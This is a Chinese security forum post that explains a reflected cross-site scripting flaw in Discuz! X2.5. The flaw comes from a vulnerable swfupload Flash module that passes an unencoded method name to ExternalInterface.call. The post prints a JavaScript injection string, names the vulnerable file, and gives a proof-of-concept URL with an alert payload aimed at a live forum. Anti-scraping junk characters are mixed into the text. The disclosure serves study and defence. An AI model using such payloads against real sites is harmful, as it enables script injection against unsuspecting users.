找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
, U8 y; J: [' e8 U  R4 `6 z3 V. W
2 \5 A% j& D9 C# d( l9 c6 Yflash.external.ExternalInterface.call($methodName, $parameter)! Q- b& W7 p& z9 j) y- y
在浏览器中执行的是/ f. T+ p, n2 y/ y! j

1 L9 c! s2 [1 _# A  G; f4 V- Ytry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}6 u9 G; l3 R) c5 i
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如7 I' ]6 b) |: d0 m; i  Z: i

& {$ F7 N5 v$ T( S3 Zflash.external.ExternalInterface.call("object."+$methodName, $parameter)8 Y/ Q" t) E, G& O8 E+ |
$methodName = a())}catch(e){alert(/xss/)}//
5 J) b! ^9 w# ~( |$ b% R/ N7 o结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! ~9 a- r/ l1 l: F. f3 v) M; }8 t) n. ?0 K% N4 ]
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }# V# M+ W3 H$ l+ R7 P) P& P

+ U+ M7 C* J/ @% _$ O( d这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ); c9 O& a6 U! i* B0 e+ c! [
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。% L! q0 W6 b% ?- c4 Z, T
/ Z) H  V7 F2 ~  {* `+ O0 T: T9 i
% P; ]2 H1 V5 F" L

* u; t" Z8 j2 B( k漏洞文件:upload\static\image\common\swfupload.swf
/ b3 r; J7 N" t. y# d0 \) d1 {! d1 T! L' s+ h" W) R
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
' g, O& O- K; U% o$ ~4 r8 e2 d- R- T# k- n) }& _
: p( B& Z+ O  ?$ U9 K
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//$ d6 ^) Z% r) F$ {
: k" c) l! ^9 A3 d- c- S; A

. s! c% s' T& c- G* z' o. [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表